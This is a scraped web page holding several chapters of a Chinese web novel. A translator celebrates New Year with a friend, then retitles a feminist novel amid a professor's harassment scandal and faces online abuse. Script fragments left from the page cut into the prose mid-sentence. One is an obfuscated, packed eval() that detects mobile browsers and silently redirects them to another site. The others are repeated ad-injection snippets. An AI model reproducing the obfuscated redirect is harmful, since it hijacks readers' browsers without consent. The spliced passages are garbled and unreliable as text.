提起那件事,陈方烨的心里又是一阵哆嗦。他想起了在医院的那个夜晚,无赖一样的舅舅惶恐的眼神和段黛冷冰冰的话语。 他不能有这个污点。 思及此,他的手指微微颤栗:【在便盆里溺死的,我亲自办的丧事。】 段墨不解:【为什么你要给那个流氓办丧事?】 陈方烨:【因为那个流氓,就是我舅舅。】 手机“啪嗒”一下掉在了地上,段墨僵在了车座上。 这都是什么? 段黛都经历了些什么? 弓虽女干未遂的犯人居然是自己男朋友的舅舅,这是多么离谱的事情! 难怪段黛会和他分手…… 55. 自己过年也挺好的 段墨在车里坐了好久。直到天空渐渐擦黑,他才回过神来,从车座下面捡起自己的手机。 陈方烨发了好多条消息,刚解锁就能看到屏幕上全是白条。 陈方烨:【你突然提这些干什么?】 陈方烨:【当时我和段黛已经协商好赔偿了。】 陈方烨:【这事不是早就过去了吗?】 陈方烨:【我以为你早就知道呢。】 段墨深吸一口气,回复他道:【难怪我妹妹和你分手,这是你应得的。】 他重新发动车子,向父母家里开过去。外面寒风萧瑟,但他依然开了车窗,让冷风从窗户缝里灌了进来,吹得他的脸生疼。 难怪段黛会变成这样。 他想起来白天段黛拒绝为他引荐文森特时的反应。她说没别的理由,她就是不想而已。 段墨看着空旷的马路,忍不住发笑。 遭遇了这样的事情,段黛这辈子都不可能原谅自己了,更何况为他的青云直上铺路呢? 他怎么还能妄想,让借用段黛的人脉往前走呢? 脸被寒风吹得又冷又疼,段墨的心也渐渐坠入冰窟。 他以后,再也不能,也没有脸面,去依靠段黛了。 从今往后的路,他只能自己走了。 黎尚轩回家把沾了灰的羽绒服换了下来,换上新买的羊绒大衣。他搬了一箱沙糖桔进入电梯,而后敲响段黛的家门。 片刻后防盗门打开,段黛微微一笑:“欢迎。” 段黛穿了一件浅咖色的高领毛衣,搭配一条黑色灯芯绒的半身长裙。因为是在家里,段黛的脚上是一双毛绒拖鞋。她没有扎头发,长发披散在肩上,看起来倒是比平时多了几分温和。 全身都毛茸茸的,看起来就觉得好像很暖和。 她接过黎尚轩手里的箱子,看到“沙糖桔”三个字后略有些诧异:“我说怎么感觉今年少了点什么,原来是没买沙糖桔啊。” “过年哪有不吃沙糖桔的,”黎尚轩关上门,将大衣脱掉,“别炫太多了,脸会变黄的。” 段黛从鞋柜里拿出一双拖鞋来。放下拖鞋后她顿了顿,转头道:“地面还是有点冷的,你穿普通拖鞋还是棉拖鞋?” 虽说家里偶尔也会有客人来,但大多数时候还是段黛独居,所以她当时虽然也有购买待客用的拖鞋,但棉拖鞋就买了那么可以换着穿的几双,并且还都是她自己的尺码。 不知道为什么,这个时候她忽然“体贴”地问黎尚轩要不要穿棉拖鞋。 “没关系,我穿普通拖鞋就好。” 段黛于是不再为难,站起身来:“我还没想好年夜饭要吃什么……” “那个先不急,”黎尚轩换好了拖鞋,“我看你的门外面也没贴福字什么的,正好我车上还有一些,要不要贴上?” 段黛本来对这些都是无所谓的。虽说贴对联贴福字是传统习俗,但她懒得特意去弄,也不想收拾撕胶带留下的垃圾,所以她一直也没有弄。不过既然有人过来和自己一起守岁了,那稍微弄一下也没什么。 于是段黛道:“不用去车上拿,出版社给我送了一些,我一直懒得贴。等下我把它拿出来。” 她从写字台下面拿出了那一包红纸,又从抽屉里抽出剪刀和透明胶带。黎尚轩从袋子里拿出一张福字来:“过年嘛,总得有点仪式感。” 段黛负责撕胶带,黎尚轩负责往上贴,两人分工配合十分默契。“撕拉”一声,段黛扯下一块胶带递给他:“那你家贴了吗?” “我那是出租房,没必要贴。不过我爸妈家里是贴了。” 段黛忍不住笑:“我这不是出租房所以得贴是吧?” “更重要的是,你要在这里过年。” 黎尚轩把对联也贴好,接着拍了拍手上的灰:“完成,咱们回家。” 重新关上家门后,黎尚轩先去卫生间洗了洗手。出来后他环视四周:“已经入住一个多月了,现在看来你住的……很规矩。” 段黛头一次听到这种评价:“很规矩?” 黎尚轩点了点头:“虽然我们在设计的时候就预想过客户将来入住使用的情况,但实际上客户入住后多多少少还是和我们最初的设计有些出入。这种生活化的变化是很正常的。但是你家……” 黎尚轩看了看四面的书架,忍不住笑了:“你家现在的状态和我设计的预想几乎是一模一样的,我还是头一次遇到生活化不多的情况,就好像是按照设定好的程序在进行一样。所以我觉得你的入住很……嗯……很规矩,原谅我词穷。” 段黛也看了看家里:“挺好的,我把你的各种设计巧思发挥到最大限度了。” “还真的是……” 天色渐晚,段黛按了一下墙上的遥控器,窗帘自动拉上,头顶的照明亮起。黎尚轩挽起了袖子,露出一截肌肉结实的小臂:“刚刚你说没想好吃什么……那晚饭我来做怎么样?” 黎尚轩穿着黑色灯芯绒衬衫和白色西装裤,显得他宽肩窄腰翘臀越发明显了。而现在他又挽起了袖子,看起来莫名有种人夫感。段黛觉得这么个人站在这里非常养眼,心情都跟着舒畅了几分:“好啊,我可以帮你打下手。” 她跟着黎尚轩进了厨房,方才买回来的食材已经规规矩矩地放到该放的地方去了。黎尚轩拉开冰箱,看到各式各样的蔬菜后吹了声口哨:“还挺齐全的,可以大展身手了。” 段黛:“恭请黎大厨师。” 肉类才刚放进冰箱,还没完全冻住,拿出来稍微放一会儿就解冻了。黎尚轩洗完菜后转头问她:“有围裙吗?” 段黛:“有。” 虽然她没穿过。 小麦色的围裙挂到黎尚轩的脖子上之后,看起来人夫感更重了。他叫段黛帮忙剥蒜的时候,段黛莫名的想要把嘴角扬起来。不过她还是压住了自己奇怪的情绪,依旧是一脸淡漠:“稍等。” 黎尚轩提起一只去了头和脚掌的鸭子:“这是鸡还是鸭……噢,鸭子。” 段黛:“嗯?我记得我买的是鸡。” 黎尚轩把标签给她看:“看来是你认错了。” 段黛笑了笑:“还真是。” “没事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13753847|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸭子更好,做个烤鸭好了。” 黎尚轩把鸭子里里外外都洗干净后烘干了外皮,接着在肚子里塞了苹果和洋葱,捆住了四肢放进烤箱里烤。 段黛在黎尚轩的指导下调着脆皮水:“住进来后我还没用过烤箱呢,你算是帮我开锅了。” 黎尚轩:“你这厨房里的厨具可是真不少,今晚我都帮你用一下。” 段黛比起大拇指:“不愧是你。” 蒸锅里蒸上了虾仁滑蛋,空气炸锅里烤上了烧烤。黎尚轩把打好花刀的鱼沾了面粉后下锅油炸,随着“滋啦”一声响,原本安静的厨房瞬间变得活跃。空气中弥漫着食物的香气,性冷淡风格的厨房头一次有了烟火气息。 段黛探头看向油锅:“这可是大菜。” 黎尚轩:“糖醋鱼,我记得你喜欢吃酸甜口的东西。” 段黛默默咽下口水:“感谢黎大厨的恩赐。” 段黛也是会做饭的,复杂一些的菜对着教程也能做出来。有时她兴致上来了,什么料理都是有可能尝试的,所以她才会把大部分厨房设备都备齐。 不过段黛平时并不想花太多时间在做饭上,自己吃饭主打一个糊弄就好,所以除非是有朋友来,否则段黛绝对不会去做操作太复杂的菜式。也正是因为如此,段黛才会入住了一个多月了也没把那些厨具用上。 像糖醋鱼这道菜,段黛如果自己做倒是也能做,但是她更倾向于点外卖或者去餐厅里吃。如今黎尚轩愿意在她这下厨亲自做,这可真是求之不得。 晚上六点,所有菜都完成了。明明只有两个人吃饭,各种盘子还是摆满了餐桌,有中餐有西餐,有冷菜有热菜,主打一个中西合璧且包罗万象。段黛先用手机拍了张照,随后发了V博:“看看年夜饭。” 不知道是谁运营着临译社的官号,在段黛发博后第一时间评论:“好丰盛!” 段黛笑着放下了手机,打开葡萄汁来给两人一人倒了一杯。黎尚轩用刀刮了刮烤鸭红润的表皮,段黛听到了清脆的声响。 黎尚轩嘴角上扬,语气中很是高兴:“这次脆皮烤得很成功。” 段黛把筷子递给他:“吃饭吃饭。” 坐下之后,黎尚轩的眼睛一直盯着段黛的筷子。她夹起一块炸的非常好看的鱼肉,蘸了蘸盘子下面的糖醋汁。鱼肉鲜嫩炸衣酥脆,糖醋汁的味道恰到好处。见着她吃下去之后,黎尚轩道:“好吃吗?” 段黛点头:“好吃,比在餐厅里的都好吃。” 黎尚轩这才夹起一块鱼肉,故作谦虚道:“马马虎虎吧。” 接着段黛又撕下一块鸭肉来。烤鸭的表皮如黎尚轩所言已经很脆了,在口中咀嚼时能听到清脆的碎裂声。咸甜的香气在舌尖弥漫,她又听到黎尚轩问她:“好吃吗?” 段黛:“好吃,这个外皮绝了。” 此后段黛每夹一道菜黎尚轩都会询问,在得到“好吃”的评价后便会露出笑容。不知道是不是错觉,一桌子菜都尝过之后,段黛感觉黎尚轩很像一只翘尾巴的小狗。 果然是错觉吧。 人怎么会像狗呢。 56. 你也学会在休息时工作了吗 七点钟的时候,两人都吃的差不多了。段黛喝掉杯子里的葡萄汁,黎尚轩把剩菜套上保鲜膜往冰箱里放。空了的盘子放进洗碗机里,段黛按下了启动程序:“幸好我坚持装了洗碗机。” 黎尚轩笑道:“咱们出发吧。” 两人披上外套下了楼。刚到广场,夜空中就绽开一朵绚丽的花。噼啪的爆竹声在耳边轰鸣,人们纷纷抬头发出惊呼。 黎尚轩买了两个手持的烟花,将其中一个递给段黛:“玩过这个吗?” 段黛点头:“玩过。” 黎尚轩摸出今天刚买的打火机,把两个人的烟花都点燃。火星子噼里啪啦的响着,照着段黛的脸上光影摇曳。段黛盯着火花笑了:“好久没玩这个了。” 她是上了大学之后才玩过这个的,以前在家的时候从来没碰过这些。后来读研工作越来越忙,也有好些年没接触了。正看着高兴的时候忽然手上一烫,段黛“嘶”了一声,把烟花拿的远了一些。 黎尚轩站在她身侧:“被烫到了吗?” 段黛点了点头:“可能是太久没玩了,不太熟练。” 烟花恰好燃烧完毕,黎尚轩扔掉了手里的杆子,转头在路边摊上买了瓶矿泉水,随后对她道:“你哪只手烫到了?” 段黛举起右手来:“怎么啦?不是很严重的。” 黎尚轩拧开瓶盖,拉过她的手来:“烫在哪里了?” “手腕。” 下一秒,冰凉的水倒在了手腕上,段黛惊呼一声:“我靠好凉!” 外面天寒地冻的,矿泉水只是在外面放着就已经很冰了。黎尚轩把瓶盖拧紧,掏出手帕来把她手腕上的水擦干净:“冷水冲一下,防止烫伤。” 段黛哭笑不得:“那一点应该不至于吧……” “还是处理一下比较好,不然过两天你会觉得那一小块皮肤特别薄,会很不舒服。”黎尚轩一脸认真。 他按亮手机,让段黛借着光看了一下方才被烫到的地方,手上上有一小点皮肤翻着淡淡的粉。她稍微碰了碰,倒是不疼。段黛扫了一眼,意外看到黎尚轩的手机屏幕上好像是什么帖子。 ——如何追ISTJ…… 手机被迅速收了回去,段黛也没看清楚后面是什么。 黎尚轩:“如果明天没有变得更红,那就没事了。” 段黛忽然意识到,自己的手一直被黎尚轩握着。虽说两人已经很熟了,但这样多少还是暧昧了一些。 黎尚轩似乎也发现了,迅速收回了手。他干巴巴道:“看……看,那是个龙吧?” 夜色遮住了他泛红的耳垂。段黛笑了笑,抬起头来望向夜空。金色的火星在空中排列,当真宛若飞龙在天。接着又是几发烟火升空,在名为夜空的画布上落下绚丽的光彩。 两人看到了十点多,鞭炮还在放着,但段黛已经看够了。黎尚轩也觉得继续再看没什么意思,便送段黛回了家。 在段黛家楼下,黎尚轩道:“那我先回去了,我们……明年见。” 段黛刚开始还愣了一下为什么是明年见,片刻后反应了过来,不由得笑出了声。明天就是春节了,可不就是明年见吗? 她莞尔:“好,到家之后给我发个消息。咱们明年见。” 再次回到家里,心境与下午完全不一样。段黛洗漱之后换了宽松的家居服,拿出下午买的零食,将剩下的葡萄汁倒进杯子。黎尚轩这时到了家,发消息给段黛报平安。段黛回复之后便缩到沙发上,用一条毯子盖住自己的腿,然后降下了投影幕布。 一边看着电影一边吃零食,果然还是独处最能让她放松。 零点一过,安静的V信立刻热闹了气来。出版社的工作人员纷纷发来新年祝福,远在英国的方若水也卡着时间祝她新年快乐。 黎尚轩:【大年初一来啦!】 段黛回复:【上次咱们见面还是在去年呢。】 黎尚轩发了个小猫大笑的表情包。 除了这些远的近的朋友,送来祝福的也有一些意想不到的人。陈方烨的V信被段黛拉黑了,但他还存着她的手机号,所以用短信给她发了祝福。只不过段黛看着陌生的手机号一脸茫然,只问出了一声:“这谁?” 她礼貌地回复了同乐,然后问他是哪位。 陈方烨再没回复。 也不知道是不是破防了。 段墨给她发了家里晚饭的照片:【我看了你的V博了,你的年夜饭还挺丰盛的。】 段黛“啧”了一声,被视奸的感觉可真不好。 段墨:【新年快乐,黛黛。】 段墨:【还有……对不起。】 段黛:?? 这又是哪一出? 大年初一,段黛给自己放了个假,睡到上午九点才睁眼。她不需要拜年,就在家里打扫卫生收拾东西。等到大年初二,段黛就又起来工作了。之前关月兰给她看过了出版计划,所以虽然段黛还没签新的合同,但已经知道下一本要翻译什么了。 休息的时候她又去扫了扫日轻,筛选了一下选出几本来翻译着打发时间。 日轻段黛翻译的飞快,等到出版社全线复工的时候段黛又发了一份全文译文给顾笙。顾笙连着打了好几个问号:【所以之前为什么会有人说你总开天窗?】 顾笙所在的办公室主要做日语韩语作品引进,而关月兰在的办公室是英法德语,两人并不在一个办公室。不过上班第一天顾笙和关月兰在吃午饭的时候碰面了,两人同为段黛的责编难免交流了一下。这不聊不知道一聊吓一跳,得知段黛大年三十给关月兰发邮件的时候顾笙震惊了:“我比你还好点,至少我是在复工第一天才收到的。” 关月兰抬头看天:“我在老家闲着没事,就审了一下她的稿子……” 顾笙:“……你也学会在休息的时候工作了吗?” 关月兰如梦初醒:“对啊,我怎么也干这种事情了?” 她确实希望段黛效率高一点,但没想到她能高成这个样子啊! 当年她开玩笑说感觉段黛一天能写八万字真的只是开玩笑而已,没有让她真的一天写八万字啊! 顾笙止不住笑:“你被段黛传染了。” 关月兰闭目,万恶的段黛! 也是多亏了段黛那么早就交了稿,关月兰放假在家的时候就完成初审工作了。后面的流程走的飞快,硬是赶在进入公版的第二天就让《彩色玻璃》发行了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,“段黛世界名著新译”系列正式问世。 《彩色玻璃》的发行甚至上了热搜,一开始还在下面,后来莫名跑到了前排。段黛略有些奇怪,看着前排热搜好像全是些无关紧要的事情。营销部门的人道:“十有八|九是被买了压热搜了,咱们也算占了便宜了。” 段黛往下滑了滑,在一堆无聊的话题中找到一个看起来还是比较有内容的词条。 #F大研究生举报汪贵宗教授性骚扰 “……” 段黛移开了目光。 新书虽然不似《经录》那般晦涩拗口,但读者们纷纷评价这一本算是段黛水平最高的一作译文。精准之余不乏生动,中外谚语化用更是手到擒来,让人难以想象这居然是一位还不到三十岁的年轻姑娘的译文。 其实有此进步也并不奇怪。段黛刚穿来的时候就开始学习原主颇具个性化的翻译风格,虽说一开始就已经融合的七七八八了,但到底还是有些需要思考的地方。但常言道熟能生巧,段黛笔耕不辍多次撰写,渐渐就把原主的风格化为己用了。虽说《彩色玻璃》原作是法语而不是之前一直“练习”的英语,但段黛已经吸收好了原主的翻译方式,自然是手到擒来。 别说是文风了,就连动笔的效率都高了不少。 经过几次发行之后,段黛已经可以泰然自若地应对网络上的好评如潮了。她并不会特意去搜读者们对自己的评价,也不会去看图书评分详情。大部分读者的书评还是从作品内容本身出发的,针对译文的算是少数。更何况段黛也不太在乎别人对自己的评价。只要收入不受影响,那这些就都无所谓。 方若水那边传来了好消息,凤姿龙章公司的英国分站蒸蒸日上,段黛持有的0.5%的股份为她带来了一笔相当可观的收入。看着账户里的余额,段黛的心情异常舒畅,以至于工作的时候效率更高了。 现在段黛正在翻译的是一部女性主义的小说,名字是《我亲爱的殡葬师男友》。乍一看书名以为是什么言情小说,但段黛通读全文之后才知道自己被这个书名迷惑住了。这本书记录了女主和她的好友从小到大的生活,从学习到结婚生子,伴有战争背景的社会变迁,反应了主角对女性处境的种种思考,并且早在一百年前就发出了“结婚会让女性完蛋”的超前呼喊。 从前还未进入公版领域的时候,这本书就已经在国内颇有影响力了。如今原作者逝世50周年,自然更是要借此机会再做宣传的。虽说稿子还在写,但临译社各个部门都蓄势待发,全都在为这本书的发行做着准备。 随着翻译稿件渐渐步入尾声,段黛对原文的认知也愈发深刻。女主和她的丈夫都是殡葬师的,两人因为职业而相识相恋。只是段黛不太明白,一本女性主义向的小说,为什么书名会叫“我亲爱的男友”? 如果国外的作品在国内早有译文的话,段黛是不会关注原书的书名的,只会沿用已经在国内流传的书名。但是现在她对这本书的书名产生了浓厚的兴趣——法语原著的书名是什么? 段黛将PDF资料拖到第一页,看到那几个单词愣了一下,随后冷笑一声。 ——《殡葬师》。 这才是原书书名的直译过来的内容。 57. 翻译本身就是一种背叛 女性主义的小说却在翻译时给书名人为填上了“男友”一词,这是多么讽刺的一件事。 《殡葬师》的主角描述了虽然艰苦但充满热爱的殡葬师的职业,描述了辞掉工作婚后生活的一片狼藉,描述了丈夫死亡后自己重归殡葬师行业后再度鲜活。更搞笑的是主角的丈夫并非死于战争的子弹,而是在醉酒后一头栽进了下水道里溺毙了。 怎么看都没觉得这位殡葬师男友对主角有多么“亲爱的”,那又怎么可能会让书名叫做《我亲爱的男友》? 在翻译中夹带私货、贬低女性抬高男性的情况其实并不少见,而且不止是小说,在各种影视作品里才是最泛滥的。段黛在穿书前就遇到过不少案例,《我的母亲,我的父亲》被翻译成了《我的父辈》,《我和我的冠军女儿》变成了《摔跤吧爸爸》,《少女与海》变成了《泳者之心》……这类情况数不胜数。 这么做有什么意思? 段黛直接阅读的是法语原著,所以并不清楚国内已有的翻译版本是什么样的。她去二手书平台收了一本几十年前的《我亲爱的殡葬师男友》,仔细阅读后连连皱眉。这一版翻译里给主角的丈夫做了许多美化,并且给主角增添了不少无脑的行为。段黛被这种翻译恶心到了,赶紧去搜原来的译者是谁。 不搜不知道一搜吓一跳,这本书原来的译者名叫汪贵宗,在F大做教授,之前甚至还给原主上过课。 更要命的是当时《彩色玻璃》发行的时候,段黛甚至还在热搜上看过他。 段黛倒吸一口冷气,重新点开词条。大部分帖子都被删了,只剩下一点零星的内容。 有F大的研究生实名举报汪贵宗性骚扰,但是证据不足还不能立案。F大发布声明说学校正在调查这件事,但这么多天过去了也依然没有结果。 大部分人不太乐观地表示,根据现在的动向来看,汪贵宗的事情很有可能会被压下来。 段黛轻轻叹了口气,真是什么样的人干什么样的事。 不过这也算给了段黛一个机会,更是给这起事件一个机会。汪贵宗教授德高望重,如果段黛直接直接说他的翻译有问题,那势必要面临一场舆论战。而现在汪贵宗的人品有待商榷,那么段黛再提出全新的翻译版本或许就不至于被骂的太惨。 甚至有可能因为段黛的参与,而让这件停滞不前的事情有更多进展。 只是,一场腥风血雨还是可以预见的。 段黛扪心自问,她害怕被推上风口浪尖,甚至被网络暴力吗? ——好像也无所谓吧。 思及此,段黛果断联系了关月兰,表示要给这本书改名。 不要什么“亲爱的男友”,就叫《殡葬师》。 虽然后者看起来“缠绵悱恻”的故事感没有那么强,但至少忠于原作。 她把情况跟关月兰说明之后,关月兰一开始是震撼,接着忽然兴奋了起来。被污名化的女性主义小说在五十年后终于重见天日,这简直就是天选营销路线!关月兰发了一句【段黛你一定是个天才】后就跑去找营销编辑商量宣传方案了,留下段黛看着手机一脸茫然。 怎么就是天才了? 思来想去,段黛又做了一个原文对比。她找出一些比较有标志性的片段做了拼图,中间是法语原文,左边是汪贵宗的翻译,右边是自己的翻译。虽说法语在国内不像英语那样普及,但总有会法语的人能看明白是怎么回事。整理完几个比较标志性的片段后,段黛又发给了关月兰:【不知道这些有没有用。】 关月兰很快回复了:【你把这些图片好好存着。汪贵宗教授还不一定会怎么样,你要做好心理准备。】 段黛:【没事,我不怕。】 关月兰:【好。】 全文交稿后,段黛感觉自己的手指在颤抖。她打开V博又搜了一下汪贵宗的消息,F大给出的回应依然是在停职调查。 而那个实名举报的女研究生已经很久没发文了。 段黛久久地凝视着手机屏幕,慢慢握紧了拳头。 ——@临译社:经过译者和编辑的共同分析,我社决定将《我亲爱的殡葬师男友》更名为《殡葬师》,并于下个月发行。 ——@段黛:《我亲爱的殡葬师男友》法语原名直译其实就是《殡葬师》,不知道为什么在几十年前初次引进国内的时候会变成这个书名。如今正值原著作者逝世五十周年,我决定遵从原作者的文字,还原译文书名为《殡葬师》。 稿件正在进行编辑加工,但宣传工作已经开始做起来了。按照计划,临译社会在《殡葬师》进入公版后再过一个月时再做发行。 出版社和译者同时宣布改名决定立即引发了热议。有人质疑这种做法是否有必要,也有人赞同表示翻译就该还原原著内容,吵着吵着竟然上了热搜。 ——本来翻译书名的时候就不一定会按照原书名来吧?不是不少作品都会根据内容重新取一个合适的书名吗? ——虽然段黛最近的水平确实突飞猛进,但是这样是不是太标新立异了? ——也不一定就是按照内容取的吧?这本书本来就是女性主义小说,叫个什么亲爱的男友弄的好像什么小言似的。 ——我以前就觉得奇怪了,女性主义的小说为什么用男友做书名?要不是段黛老师提出来我都不知道原来的书名其实根本没提这些! ——我觉得书名里的殡葬师说的是主角自己,而不是主角的丈夫吧?到底是谁在夹带私货啊! ——《殡葬师》这个书名听起来好像法医专业书哎,根本想不到是小说吧,我觉得还是原书名好一些。 ——殡葬师和法医不一样! ——我也觉得没必要改,这么多年大家都习惯这个书名了,还是《我亲爱的殡葬师男友》大众更熟知一些。 ——哎,这本书最初的翻译者是汪贵宗哎!就是那个被爆出来性骚扰的! ——??什么? ——F大说是在调查,但是我去校园官网看了,汪贵宗还好好的呢。 ——那个实名举报的女生好像好多天没发帖了…… ——天呐她还好吗? 营销部门那些搞媒体的人可是一点都不怕成为热点话题的,骂声对于他们来说只是炒作的利器。不过他们比较担心段黛,毕竟只有她是实名出现在这场风波之中的。然而段黛表示她会配合出版社的工作,叫他们不必担心。 营销部门对此大为感动, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 于是也不端着了,直接对段黛道让她按照他们的指示来发博就行。 于是,在网友们把更名事件和性骚扰事件联系起来之后,段黛发了第二篇帖子,正是两版翻译与原著的片段对比。 ——@段黛:初版翻译和法语原文出入较大,我会竭尽所能尽量还原原作者的所思所想,为读者展示一位真实的二战时期的女殡葬师。 这一篇帖子虽然没挂汪贵宗的大名,但是“初版翻译”这四个字无疑是在指名道姓。这下网上吵得更激烈了,有人说段黛是在蹭热度炒作,也有人说她是在吃性骚扰的人血馒头,更有人怀疑段黛是和女博士生串通好了,要来一起污蔑这位德高望重的翻译家。 各种离谱的言论层出不穷,甚至有些人翻出了段黛也是F大毕业的,并且还上过汪贵宗的课。 ——我阴谋论一下,段黛不会也被汪贵宗性骚扰过吧? ——你们不觉得段黛的资源太好了吗?她年纪轻轻就能拿到那么多作品的翻译资格…… ——不会是身体交换来的吧? ——怕不是成名之后想要踹掉原来的金主…… ——莫非段黛以前是学术妲己? 段黛庆幸自己搬了新家,几乎没什么人知道她住在哪。有一次她发现有人在网上发了她从前租房子的小区,很是心惊肉跳了一番。知道她现在住址的人未必会关注翻译界的事情,再加上段黛几乎不出门,所以无论网上吵得多么不可开交,她这里都还是一派祥和的模样。 甚至她还翻译了一本日轻交给顾笙。 顾笙在聊天框里打了好几个问号,段黛:【关姐叫我休息一阵,还没给我下一本的合同,所以我就翻译一下日轻玩玩。】 顾笙:【6,注意安全啊段老师。】 段黛宅家的时候收到了不少人的“关怀”。 黎尚轩:【你最近还好吗?我看到热搜了。】 段黛:【放心,都是新书营销的手段罢了。】 黎尚轩:【我听说有些网暴是会找到家门口的,你那里没问题吧?】 段黛:【我没事,你新家装修的怎么样了?】 黎尚轩:【我这正常进度。你如果不方便出门需要帮忙可以联系我。】 段黛:【没事,你这段时间也别往我这跑了。等风头过去了再说。】 黎尚轩:【好。】 黎尚轩:【注意安全。】 除了黎尚轩外,关月兰、林若愚等出版社的人也都嘱咐段黛注意安全。不过不是所有人都这么好心的,比如邓辞就来幸灾乐祸了:【你没事吧?我看有人都扒出你家住址了。】 邓辞:【还活着吗?没出门被人扔臭鸡蛋吧?】 段黛敏锐地察觉到了什么:【我的住址是你发的吧?】 对面沉默了。 段黛:【还有那些说我和汪贵宗睡过的黄谣,也是你传的吧?】 片刻后,邓辞道:【难道你们没睡过?】 段黛轻轻扬起嘴角。 这可是你说的啊。 段黛:【真难为你都穷成这样了还有精力上网胡说八道,看来你真的是一点乐子都找不到了,好可怜哦。】 邓辞:【你他妈……】 58. 欢迎校友回来 段黛不去理会邓辞,依然在家看书、运动,时不时看看自己的账户余额。网上围困万千重,她自岿然不动。 收到段墨的消息时段黛有些惊讶。段墨没有说最近网上的事情,也没有问她怎么样,只说:【我要去日本了。】 段黛一脸问号,他去日本干什么? 段墨也不管段黛有没有理他,自顾自地发消息:【有一个机会,我想试一试。】 段墨:【以后不会再麻烦你了,你自己好好工作。】 段黛挠了挠头,原文里可没有这么一出,莫非日本有什么大画家来了?这可能吗? 而且就算真的有这么个机会,出国也不是上下嘴皮子一碰就能完成的事。语言、证件、钱……哪个不得考虑? 不过到底不是自己出国,段黛也不想替别人操心。她回复了一个【随你】,便不再管了。 段黛每日按时吃饭睡觉,时不时看看V博后台。然而这一天段黛的V博收到了一条私信。 段黛的V博粉丝量也有百万级别了,不过几乎没有什么人会给她发私信。 所以段黛一眼就看到了这条未读消息。她点开来,只有一句简短的话:【坚持下去,拜托了。】 发消息的明显是一个刚注册的号,连昵称都是一堆乱码。段黛看了一眼IP定位,就在浙省,极有可能就在临安。 一瞬间段黛的脑子里闪过很多,她发消息问:【你还好吗?】 对面很快回复了:【我在自己租的房子里,已经不敢去学校了。】 【我已经顾不上毕业不毕业的了。】 【拜托了,如果你也放弃的话……我真的不知道该怎么办了。】 段黛沉默良久,发消息道:【注意安全。】 当天下午,段黛收到了F大的邀约,请她在100周年校庆时回校宣讲。 段黛把消息和关月兰说了一下,关月兰忧心忡忡:【这是什么意思?】 F大是名校中的名校,全国排名也是前列的。就算现在陷入了性骚扰的丑闻之中,其地位也仍然不可撼动。若是在平常,段黛收到这份邀约应该会感到非常光荣,毕竟这不仅是母校的邀约,更是名校对个人的认可。 但是现在有了汪贵宗这件事,在这个节骨眼上却邀请了她回来…… 很难不让人联想其中的用意。 关月兰:【你要去吗?营销部门宣传的时候也没想到会有这一步……】 段黛到底只是翻译,不是什么明星艺人,身边也不会有什么专门为她服务的公关人员。去还是不去,去了之后该怎么应对说什么话……这些基本上只能段黛自己来考虑。 段黛:【去,扬名立万的机会,当然要去。】 关月兰:【……你小心点,别被暗算了。】 段黛:【放心。】 F大校庆的邀请名单随着段黛的答复后立刻公布,接着便是热搜攀升。段黛、汪贵宗、F大等词条在各大平台反复出现,关注此事的人都在怀疑F大这个时候邀请段黛的用意。 在各种议论之中,F大的校庆如期而至。F大非常有诚意的派出了专车负责接送,不过段黛并没有把自己的住址告诉他们,只是报了临译社的位置。 车子驶入偌大的校园,最后在文体中心旁停了下来。段黛推门下车,看到旁边有一群举着摄影摄像设备的——大学生。 眼神清澈而愚蠢,一看就是大学生。 段黛对着那边略微点头,接着按照志愿者的指引向礼堂内走去。段黛自认为表现的还算礼貌,殊不知她面无表情的时候看起来像板着一张脸,让负责接待的几个行政老师莫名的满头大汗。 校庆会是线上线下同步进行的,自开幕式之后直播就已经打开了,各个网络平台都有入口。不过段黛猜测应该没有多少人会观看这种无聊的东西,所以也没多紧张。她在自己的位置上做好,然后看着校长、书记等各个重量级人物上台讲话。 荣誉校友也是要上台发言的,不过这是比较靠后的环节。段黛靠在椅子上,拿出手机来随便看着东西。 身边忽然有一阵风拂过,段黛微微偏头,原来是旁边的空位上坐上人了。 落座的那人穿着黑色西装,头发中夹杂着几根银丝,看上去应该是四五十岁的样子。他转过头来对段黛微笑:“段黛同学。” 段黛对他有些面熟,在脑中搜寻了一番后匹配上了人物信息:“汪院长。” 此人正是原主曾经所在的F大外语学院的院长。 汪院长笑道:“真是好久不见了,你是那一届最出色的学生,我一直都记得你呢。” 段黛也微笑:“承蒙院长关怀。” 段黛忽然意识到一件事,汪院长也姓汪,别是和那个汪贵宗还有什么亲戚关系吧? “听说你最近在翻译那本《我亲爱的殡葬师男友》?” “是《殡葬师》,原来的翻译并不准确,甚至我怀疑是故意的。” 汪院长笑了笑:“是,长江后浪推前浪嘛,你能发现老师们的错误,确实非常优秀。” “不过……我想了解一件事。” 段黛:“您请说。” 汪院长放下了搭在另一条腿上的二郎腿,重新坐好,直了直身子:“你们在宣传阶段的重点是什么?是翻译时对性别的污名化吗?” 段黛笑了起来:“确实是有这个重点,毕竟是女性主义的小说嘛。” 汪院长缓缓吐出一口气:“这样也好……那你可不可以保证,只宣传翻译的事情?” 段黛转头看向他:“汪院长,您有话不妨直说。” 汪院长叹了口气:“我们也不是要干涉你的翻译……只是,汪贵宗教授他都快到退休年龄了,学院和学校的意思是多一事不如少一事,让他提前退休,这事也就算过去了。《我亲爱的殡葬师男友》的初版中文译本是汪贵宗翻译的,他那时候年轻,难免会有些疏漏……你批评他不准确可以,能不能不要带他的大名?不要说他不尊重女性?” 段黛眼神 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 